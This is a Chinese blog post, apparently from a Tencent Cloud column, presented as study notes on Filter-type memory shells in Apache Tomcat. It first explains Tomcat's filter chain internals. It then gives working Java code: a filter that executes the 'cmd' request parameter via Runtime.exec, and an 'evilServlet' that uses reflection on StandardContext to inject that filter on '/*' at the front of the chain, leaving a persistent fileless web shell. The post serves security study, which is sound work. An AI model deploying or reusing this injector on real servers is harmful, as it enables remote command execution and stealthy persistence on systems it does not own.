首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >JAVA 内存马学习之Filter型

JAVA 内存马学习之Filter型

作者头像
yulate
发布2023-05-02 10:58:58
4330
发布2023-05-02 10:58:58
举报

本文最后更新于 419 天前,其中的信息可能已经有所发展或是发生改变。

一、Tomcat Filter流程分析

1、项目与filter的创建

在IDEA创建一个Servlet项目,具体创建方法可参照如下链接:

https://blog.csdn.net/gaoqingliang521/article/details/108677301

自定义filter:

package filter;

import jakarta.servlet.*;

import java.io.IOException;

public class filterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter init");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("start filter");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("filter destroy");
    }
}

在web.xml中注册filter,具体项目路径如下

image-20220301214642905
image-20220301214642905

启动项目访问/demo路径可以看见成功触发filter

image-20220301214846047
image-20220301214846047

2、filter基础知识

2.1 ServletContext

javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。

image-20220302111517873
image-20220302111517873

ServletContext中的方法有addFilteraddServletaddListener,即添加FilterServletListener

获取到ServletContext的方法为:

this.getServletContenx();
this.getServletConfig().getServletContext();

在实际进行获取到的是一个org.apache.catalina.core.ApplicationContextFacade对象,该对象对ApplicationContext的实例进行的一个封装。

image-20220302104743121
image-20220302104743121
2.2 ApplicationContext
org.apache.catalina.core.ApplicationContext

对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。TomcatContext容器中都会包含一个ApplicationContext

2.3 StandardContext

Catalina主要包括ConnectorContainerStandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。 一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina

3、filter调用流程分析

动态调试一下filterChain.doFilter()方法,debug启动项目,访问/demo触发断点。

调试看一下堆栈信息,看filterChain生效的过程。

image-20220302143827341
image-20220302143827341

追踪查看filterChain来源

image-20220302144007361
image-20220302144007361

查看org.apache.catalina.core.ApplicationFilterFactory#createFilterChain源代码

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
        if (servlet == null) {
            return null;
        } else {
            ApplicationFilterChain filterChain = null;
            if (request instanceof Request) {
                Request req = (Request)request;
                if (Globals.IS_SECURITY_ENABLED) {
                    filterChain = new ApplicationFilterChain();
                } else {
                    filterChain = (ApplicationFilterChain)req.getFilterChain();
                    if (filterChain == null) {
                        filterChain = new ApplicationFilterChain();
                        req.setFilterChain(filterChain);
                    }
                }
            } else {
                filterChain = new ApplicationFilterChain();
            }

            filterChain.setServlet(servlet);
            filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
            StandardContext context = (StandardContext)wrapper.getParent();
            filterChain.setDispatcherWrapsSameObject(context.getDispatcherWrapsSameObject());
            FilterMap[] filterMaps = context.findFilterMaps();
            if (filterMaps != null && filterMaps.length != 0) {
                DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
                String requestPath = null;
                Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
                if (attribute != null) {
                    requestPath = attribute.toString();
                }

                String servletName = wrapper.getName();
                FilterMap[] var10 = filterMaps;
                int var11 = filterMaps.length;

                int var12;
                FilterMap filterMap;
                ApplicationFilterConfig filterConfig;
                for(var12 = 0; var12 < var11; ++var12) {
                    filterMap = var10[var12];
                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                        if (filterConfig != null) {
                            filterChain.addFilter(filterConfig);
                        }
                    }
                }

                var10 = filterMaps;
                var11 = filterMaps.length;

                for(var12 = 0; var12 < var11; ++var12) {
                    filterMap = var10[var12];
                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                        if (filterConfig != null) {
                            filterChain.addFilter(filterConfig);
                        }
                    }
                }

                return filterChain;
            } else {
                return filterChain;
            }
        }
    }

这一部分代码主要要了解的是这三个的关系:filterConfigfilterMapsfilterDefs

3.1 filterConfig、filterMaps、filterDefs

直接查看StandardContext中的内容

filterConfigs除了存放了filterDef还保存了当时的Context

image-20220302162132012
image-20220302162132012

filterDefs中存放着filter的定义,比如名称跟对应的类

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filter.filterDemo</filter-class>
    </filter>

filterMaps对应的web.xml中的配置filter-mapping,代表了个个filter调用的顺序。

image-20220302153817838
image-20220302153817838

及对应web.xml中的如下内容

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>

都添加完之后,调用doFilter ,进入过滤阶段。

关于整个Filter的调用链 可以参考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w

Filter调用链,可以引用宽字节安全总结的一张图来说明:

img
img

二、Filter型内存马注入流程分析

1、filter注入恶意代码测试

先直接在已经有的filter添加恶意代码常看执行效果

package filter;

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class filterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter init");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("start filter");

        HttpServletRequest request = (HttpServletRequest) servletRequest;
        if (request.getParameter("cmd") != null){
            String[] command = new String[]{request.getParameter("cmd")};
            InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
            String output = scanner.hasNext() ? scanner.next() : "";
            servletResponse.getWriter().write(output);
            servletResponse.getWriter().flush();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("filter destroy");
    }
}
mingl
image-20220302191345592
image-20220302191345592

本质就是Filter中接受参数然后执行,但在实际渗透的情况下怎么可能能直接改Filter中的代码,那就需要动态的进行添加。

由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigsfilterDefsfilterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext 成为了问题的关键。

2、StandardContext获取与filter动态注册

综上所述,如果要实现filter型内存马要经过如下步骤:

  • 创建恶意filter
  • 用filterDef对filter进行封装
  • 将filterDef添加到filterDefs跟filterConfigs中
  • 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中

要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。 每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

import jakarta.servlet.*;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;

import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

@WebServlet("/evilServlet")
public class evilServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//        super.doPost(req, resp);
        Field Configs = null;
        Map filterConfigs;

        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = req.getSession().getServletContext();

            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);  // 禁止java语法检查
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);

            Field field = applicationContext.getClass().getDeclaredField("context");
            field.setAccessible(true);
            StandardContext standardContext = (StandardContext) field.get(applicationContext);

            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            // 尝试从filterConfigs数组中获取filter,如果没有就创建一个
            if (filterConfigs.get(FilterName) == null) {
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null) {
                            InputStream inputStream = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                            Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                            String output = scanner.hasNext() ? scanner.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest, servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };

                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructor = FilterDef.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef) declaredConstructor.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);

                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor1 = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructor1.newInstance();
                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> constructor = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, o);
                filterConfigs.put(FilterName, filterConfig);
                resp.getWriter().write("Success");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);

    }
}
image-20220302235321269
image-20220302235321269
image-20220302235416616
image-20220302235416616
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-3-04 1,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、Tomcat Filter流程分析
    • 1、项目与filter的创建
      • 2、filter基础知识
        • 2.1 ServletContext
        • 2.2 ApplicationContext
        • 2.3 StandardContext
      • 3、filter调用流程分析
        • 3.1 filterConfig、filterMaps、filterDefs
        • 1、filter注入恶意代码测试
        • 2、StandardContext获取与filter动态注册
    • 二、Filter型内存马注入流程分析
    相关产品与服务
    容器服务
    腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档